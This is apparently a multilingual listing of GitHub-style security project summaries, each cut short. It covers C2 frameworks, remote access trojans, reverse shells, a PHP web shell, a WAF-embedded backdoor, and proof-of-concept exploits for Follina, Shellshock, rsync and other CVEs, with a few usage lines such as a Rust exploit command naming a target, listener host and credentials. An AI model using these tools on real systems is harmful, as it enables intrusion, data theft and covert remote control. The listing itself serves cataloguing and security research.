PULSE-C2

PULSE C2 框架 基于 HTTPS 的命令与控制基础设施，附带 Web 仪表板，用于远程 Windows 代理管理。 ⚠️ 仅限教育用途 - 非法使用后果自负。 特性 支持 TLS 加密的 HTTPS C2 服务器（Flask） 实时 Web 仪表板 XOR + Base64 加密协议 SQLite 数据库持久存储 远程 Shell、文件外泄、信标控制 静默代理，无调试输出 快速开始 服务端： cd server pip install flask python c2server.py 访问仪表板：https://localhost:8443 客户端： build.bat 编辑...

porterminal

Entrega un ordenador a un agente, con control total, y obsérvalo. Un comando, una URL. También un terminal elegante para tu propio teléfono. 1. uvx ptn 2. Entrega la URL a un agente de IA, o escanea el QR tú mismo 3. Obsérvalo trabajar en cualquier navegador, y toma el control cuando quieras...

PIRATE

PIRATE Herramienta de Acceso Remoto Python Uso 1- ejecutar payloader.py para generar el script del cliente 2- ejecutar pirate.py para administrar el servidor y recibir la conexión Características Abrir shell remota Tomar captura de pantalla Tomar foto con la cámara web Ejecutar keylogger...

follina_cve_2022-30190

follinacve2022-30190 CVE-2022-30190（follina）的概念验证。 usage: exploit.py -h -u HOSTIP -p PORT -o OFILE -m server, create -s script | scriptfile.ps1 -r HOSTIP:PORT Follina Exploitation Toolkit options: -h, --help show this help message and exit -u HOSTIP, --host HOSTIP host ip address -p PORT, --port...

tinyshell

tinyshell 小さなPHPシェル。Pythonクライアントによって制御され、プロトコル方式で接続します。 特徴 リバース接続を必要とせず、直接セッションで接続します。 パスワード保護に対応しています。 ファイルにバインドしても損傷を与えません。 エラーハンドリングを備えたGET/POSTリクエストを使用します。 使用法 このプロジェクトは2つのファイルで構成されています： リモートシェルPythonファイル : クライアントとして機能し、ターゲットに接続するためのものです。python remote shell.py url password PHPシェルPHPファイル :...

CVE-2025-65817

CVE-2025-65817 字段| 值 ---|--- 标题| 漏洞报告：LSC Smart Connect 摄像头 日期| 2024-02-15 描述| 滥用 SD 卡更新钩子，在 LSC Smart Connect 摄像头上生成远程 shell。 标签| iot, vulnerability, cve 固件版本| 1.14.13 LSC Smart Connect 摄像头漏洞报告 发现的漏洞在于利用 startapp.sh 中的更新系统，更具体地说是通过 SD 卡挂载和 update.nor.sh 文件。 配置变量 routines of sd-card /mnt is for...

0x00sec_code

0x00sec.org 帖子的源代码 此仓库包含我在 0x00sec.org 上帖子的源代码。 远程Shell 帖子见： 第一部分：https://0x00sec.org/t/remote-shells-part-i/269/1 第二部分. 加密你的链接：https://0x00sec.org/t/remote-shells-part-ii-crypt-your-link/306 源代码位于 remoteshell 第三部分. Shell...

CGIShell

CGIShell shellshock CVE-2014-6271 CGI 漏洞利用 通过 CGI 页面像 OpenSSH 一样使用 使用 python cgishell.py 'http://www.google.com/cve-2014-6271/poc.cgi' 截图 依赖 Windows 需要 pyreadline 不需要 chardet 未来计划 添加测试用例 支持 HTTP 登录 http 传输 gzip 压缩 chardet 识别与解码 修复任意 bug 问题 Windows 未测试...

ibombshell

ibombshell - 動的リモートシェル ,--.!, / -- / / / // / / / / ,d08b. '| / / / / / \ / / / / / 0088MM / / // / // / / / / / / // // / / / / / / / 9MMP' ///// // //./// ///// + Starting the console... Console ready! ibombshell は、Powershell で書かれたツールで、いつでもプロンプトを利用でき、ポストエクスプロイテーション機能 場合によってはエクスプロイト...

CVE-2026-0073-PoC-Exploit

CVE-2026-0073 - Android ADB Wireless Debugging Auth Bypass Zero-Click | Remote Shell | Network Scanner | Educational Security Research Tool ETHICAL USE ONLY – AUTHORIZED SECURITY TESTING This repository provides tools for authorized security professionals, blue teams, and penetration testers only...

hershell

Hershell NOTE: the project has been forked on this repo, check there for any other developments. Hershell is a simple TCP reverse shell written in Go. It uses TLS to secure the communications, and provide a certificate public key fingerprint pinning feature, preventing from traffic interception...

powershell-reverse-tcp

PowerShell リバース TCP リモートホストと通信するためのPowerShellスクリプト。 リモートホストはクライアントとその基盤となるシステムコマンドを完全に制御できます。 以下のシェルを確認してください： Invoke-Expression PowerShell コマンド こちら, プロセスパイプ こちら。 Windows 10 Enterprise OS 64-bit上のPowerShell v5.1.19041.2673でテスト済み。 教育目的で作成されました。お役に立てば幸いです！...

poet

poet シンプルなポストエクスプロイテーションツール。 概要 クライアントプログラムはターゲットマシン上で動作し、接続先サーバのIPアドレスと接続頻度で設定されます。クライアントが接続しようとしたときにサーバが動作していない場合、クライアントは静かにスリープし、次の間隔で再試行します。しかしサーバが動作している場合、攻撃者は制御シェルを取得してクライアントを制御し、ターゲット上で以下のようなさまざまなアクションを実行できます。 偵察 リモートシェル ファイル流出 ダウンロードして実行 自己破壊 デモ これはPoetができることのほんの一例です。...

ruler

はじめに Rulerは、MAPI/HTTPまたはRPC/HTTPプロトコルを介してExchangeサーバーにリモートで対話できるツールです。主な目的は、クライアント側のOutlook機能を悪用して、リモートでシェルを取得することです。 Rulerの実装方法とMAPIに関する背景の詳細は、以下のブログ記事をご覧ください： Ruler リリース Pass the Hash with Ruler Outlook フォームとシェル Outlook ホームページ – 別のRulerベクター 動作デモはこちら：YouTube で Ruler 何ができるのか？...

notionterm

notionterm Embed reverse shell inNotion pages. Hack while taking notes FOR ➕: Hiding attacker IP in reverse shell No direct interaction between attacker and target machine. Notion is used as a proxy hosting the reverse shell Demo/Quick proof insertion within report High available and shareable...

modsecurity-backdoor

ModSecurity 后门 描述 这是一个在 ModSecurity WAF 内部运行的恶意软件的概念验证。 该软件有两个主要功能： 获取文件内容。 运行命令并获取输出（远程 shell）。 此外，它还包括以下功能： 动态设置控制 POST 参数名称，使检测更加困难。 禁用日志记录，使检测更加困难（仅针对通过 POST 参数名称识别的攻击者 请求）。 禁用所有其他规则（仅针对通过 POST 参数名称识别的攻击者 请求）。 先决条件 支持 Lua 的 ModSecurity Lua ModSecurity 指令 SecStreamOutBodyInspection 和...

Netgear_Pwn2Own2021

Netgear R6700v3 WAN RCE - Pwn2Own 2021 这是 Pwn2Own 2021 期间使用的代码，用于在 Netgear R6700v3 上获取远程 shell。 博客文章：https://synacktiv.com/publications/pwn2own-austin-2021-defeating-the-netgear-r6700v3 要求 带有 flask 的 python3 dnsmasq 用法 1. 以 root 身份运行 ./play.sh ifname，其中 ifname 为连接到路由器的接口名称（例如 eth0） 2. 启动路由器 3. 等待...

CVE-2024-23346-rust-exploit

针对 CVE-2024-23346 的 Rust 漏洞利用脚本。 如下所示，该 POC 利用代码注入漏洞，并像在终端中一样运行远程 shell 命令。 poc.webm 运行漏洞利用的步骤： 直接使用 Cargo 运行 cargo run -- --help cargo run -- --target http://10.10.11.38 --username "Admin" --password "Admin@123" --lhost 10.10.14.19 或者 编译二进制文件：cargo build -r（二进制文件将在 target/release/poc 中） 运行二进制文件：...

rsync: rsync < 3.5.0 Command Injection via Multiple Code Paths

A command injection vulnerability in rsync allows remote attackers to execute arbitrary commands by supplying shell metacharacters or newlines in unsanitized inputs, such as hostnames or hostspecs. This impacts multiple vectors—including the RSYNCCONNECTPROG variable, daemon hooks, rsync-ssl, and...

CVE-2018-16167

安装及执行顺序 0. 安装LogonTracer 从DockerHub下载存在漏洞的LogonTracer v1.2.0版本。 $docker pull jpcertcc/docker-logontracer:v1.2.0 1. 运行LogonTracer 使用以下命令启动容器： $docker run \ --detach \ --publish=7474:7474 --publish=7687:7687 --publish=8080:8080 \ -e LTHOSTNAME=IPADDR \ jpcertcc/docker-logontracer:v1.2.0 2...